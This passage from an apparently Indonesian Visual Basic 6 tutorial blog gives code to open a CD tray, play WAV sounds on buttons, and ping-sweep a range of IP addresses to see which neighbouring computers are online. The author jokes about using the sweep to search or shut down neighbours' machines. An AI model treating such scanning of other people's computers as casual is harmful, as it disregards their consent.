    Alias = "Drive" & drv
    retval = -1
    retval = mciSendString("set " & Alias & " door closed", vbNullString, 0&, 0&)
    retval = mciSendString("close " & Alias, vbNullString, 0&, 0&)
    CloseCDDoor = retval
End Function

Masukkan code di bawah inipada form

Private Sub Command1_Click()
OpenCDDoor "G" 'pastikan drive G adalah drive untuk CD/DVD Room, jika bukan G tinggal anda ubah G tersebut menjadi Huruf sesuai dng Drive CD/DVD Room
End Sub
Private Sub Command2_Click()
CloseCDDoor "G" 'pastikan drive G adalah drive untuk CD/DVD Room, jika bukan G tinggal anda ubah G tersebut menjadi Huruf sesuai dng Drive CD/DVD Room
End Sub
Private Sub Command3_Click()
End
End Sub

Semoga bermanfaat.
Download Project Open Close CD-Room

Cek IP Adress Orang Lain Aktif Atau Tidak

2008-06-12T08:23:00.013+07:00

Untuk tulisan kali ini disajikan bagaimana cara pembuatan aplikasi yang berfungsi untuk mengetahui status aktif atau tidak akltif dari Komputer tetangga dengan melakukan pencarian IP Adress.Siapa tahu dengan kita mengetahui IP Adress komputer tetangga, kita dapat mencari file, melakukan Shutdown ataupun tujuan positif lainnya he..he..

Yang dibutuhkan dalam pembuatan aplikasi kali ini adalah :
- 1 listbox dengan properties name List1
- 2 textbox dengan propertie name Text1 dan Text2
- 2 commandbutton dengan properties name Command1 dan Command2
- 2 label dengan properties name label1, properties Caption="Cek IP Aktif dari" dan label2 dengan properties caption="Sampai"
Masukkan code di bawah ini pada form

Option Explicit
Const SOCKET_ERROR = 0
Private Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal HostName As String) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired&, lpWSAdata As WSAdata) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, hpvSource As Any, ByVal cbCopy As Long)
Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Private Declare Function IcmpCloseHandle Lib "icmp.dll" (ByVal HANDLE As Long) As Boolean
Private Declare Function IcmpSendEcho Lib "ICMP" (ByVal IcmpHandle As Long, ByVal DestAddress As Long, ByVal RequestData As String, ByVal RequestSize As Integer, RequestOptns As IP_OPTION_INFORMATION, ReplyBuffer As IP_ECHO_REPLY, ByVal ReplySize As Long, ByVal TimeOut As Long) As Boolean

'type data tambahan
Private Type WSAdata
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 255) As Byte
szSystemStatus(0 To 128) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
ipVendorInfo As Long
End Type

Private Type Hostent
h_name As Long
h_aliases As Long
h_addrtype As Integer
h_length As Integer
h_addr_list As Long
End Type

Private Type IP_OPTION_INFORMATION
TTL As Byte
Tos As Byte
Flage As Byte
OptionsSize As Long
OptionsData As String * 128
End Type

Private Type IP_ECHO_REPLY
Address(0 To 3) As Byte
Status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
data As Long
Options As IP_OPTION_INFORMATION
End Type

Public dir As String
Public Function doPing(ByVal HostName As String) As Boolean
Dim hFile As Long, lpWSAdata As WSAdata
Dim hHostent As Hostent, AddrList As Long
Dim Address As Long, rIP As String
Dim OptInfo As IP_OPTION_INFORMATION
Dim EchoReply As IP_ECHO_REPLY

Call WSAStartup(&H101, lpWSAdata)

If GetHostByName(HostName + String(64 - Len(HostName), 0)) <> SOCKET_ERROR Then
CopyMemory hHostent.h_name, ByVal GetHostByName(HostName + String(64 - Len(HostName), 0)), Len(hHostent)
CopyMemory AddrList, ByVal hHostent.h_addr_list, 4
CopyMemory Address, ByVal AddrList, 4
End If
hFile = IcmpCreateFile()

If hFile = 0 Then
MsgBox " Unable to create file handle", vbCritical + vbOKOnly
doPing = False
Exit Function
End If

OptInfo.TTL = 255
If IcmpSendEcho(hFile, Address, String(32, "A"), 32, OptInfo, EchoReply, Len(EchoReply) + 8, 2000) Then
rIP = CStr(EchoReply.Address(0)) + "." + CStr(EchoReply.Address(1)) + "." + CStr(EchoReply.Address(2)) + "." + CStr(EchoReply.Address(3))
Else
doPing = False
End If

If EchoReply.Status = 0 Then
doPing = True
Else
doPing = False
End If

Call IcmpCloseHandle(hFile)
Call WSACleanup
End Function 

Private Sub Command1_Click()
Dim i As Integer
Dim x, y
Dim result As Boolean
Dim resultString As String

If Trim(Text1) = "" Then
MsgBox "Isikan Alamat IP", vbCritical + vbOKOnly
Text1.SetFocus
Exit Sub
End If

If Trim(Text2) = "" Then
MsgBox "Isikan Batasan/Range Alamat IP", vbCritical + vbOKOnly
Text2.SetFocus
Exit Sub
End If
List1.Clear
x = Split(Text1.Text, ".")
y = Split(Text2.Text, ".")
For i = CInt(x(3)) To CInt(y(3))
dir = x(0) & "." & x(1) & "." & x(2) & "." & i
result = doPing(dir)
If result = True Then
resultString = "Aktif"
Else
resultString = "NonAktif"
End If
List1.AddItem "Pinging " & dir & "..." & resultString
List1.Refresh
Next
End Sub 

Private Sub Command2_Click()
List1.Clear
Text1.Text = ""
Text2.Text = ""
List1.Refresh
End Sub

Terimakasih, semoga bermanfaat.
Download Cek IP Aktif

Menambah Sound Wav Pada Aplikasi misal Sound Pada Tombol

2008-06-12T08:05:00.011+07:00

Tambahkan Sound Wave pada aplikasi anda agar aplikasi akan terlihat lebih menarik.Misal command buttons yang berbunyi pada saat diklik.

Untuk proyek kita kali ini membutuhkan controll, yaitu :
- 2 text box dengan propertis name text1 dan text2
- 4 command buttons dengan properties namenya standar/default tanpa perubahan.
- 3 label dengan properties name default
- contoh-contoh file sound wav yang diletakan di luar aplikasi
- timer dengan properties name timer1 dan dengan interval 100.

Tuliskan code di bawah ini pada modul

Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _
(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Const SND_SYNC = &H0
Const SND_ASYNC = &H1
Const SND_NODEFAULT = &H2
Const SND_LOOP = &H8
Const SND_NOSTOP = &H10 

Sub PlayWaveSoundOkExit_Click()
soundfile$ = "audio\rain_tag_water.wav"
wFlags% = SND_ASYNC Or SND_NODEFAULT
HaHa = sndPlaySound(soundfile$, wFlags%)
End Sub 

Sub StopTheSound_Click()
StopTheSoundNOW = sndPlaySound(soundfile$, wFlags%)
End Sub 

Sub PlayWaveSoundIntro_Click()
soundfile$ = "audio\a_sparrow.wav"
wFlags% = SND_ASYNC Or SND_NODEFAULT
HaHa = sndPlaySound(soundfile$, wFlags%)
End Sub 

Sub PlayWaveSoundLblTxt_Click()
soundfile$ = "audio\e_twigs.wav"
wFlags% = SND_ASYNC Or SND_NODEFAULT
HaHa = sndPlaySound(soundfile$, wFlags%)
End Sub 

Sub PlayWaveSoundAyam_Click()
soundfile$ = "audio\Ayam berkokok.wav"
wFlags% = SND_ASYNC Or SND_NODEFAULT
HaHa = sndPlaySound(soundfile$, wFlags%)
End Sub

Tuliskan code di bawah ini pada Form

Private Sub Command1_Click()
PlayWaveSoundOkExit_Click
End
End Sub
Private Sub Command2_Click()
PlayWaveSoundAyam_Click
End Sub
Private Sub Command3_Click()
StopTheSoundNOW = sndPlaySound(soundfile$, wFlags%)
End Sub
Private Sub Command4_Click()
PlayWaveSoundOkExit_Click
Timer1.Enabled = False
Command2.Visible = True
Command3.Visible = True
Command4.Visible = False
Command1.Visible = True
End Sub
Private Sub Form_Load()
PlayWaveSoundIntro_Click
MsgBox "Sound Wav Intro telah berbunyi, selanjutnya Sound Wav saat menekan Ok", vbOKOnly, "Info"
PlayWaveSoundOkExit_Click
End Sub
Private Sub Text1_Change()
PlayWaveSoundLblTxt_Click
End Sub
Private Sub Text2_Change()
PlayWaveSoundLblTxt_Click
End Sub
Private Sub Timer1_Timer()
If Not Text1.Text = "" And Not Text2.Text = "" Then
Command4.Visible = True
Else
Command4.Visible = False
End If
If Label3.ForeColor = &HFFFFFF Then
Label3.ForeColor = &H80000008
Else
Label3.ForeColor = &HFFFFFF
End If
End Sub

Terimakasih, semoga bermanfaat.
Download Menambah Sound Wav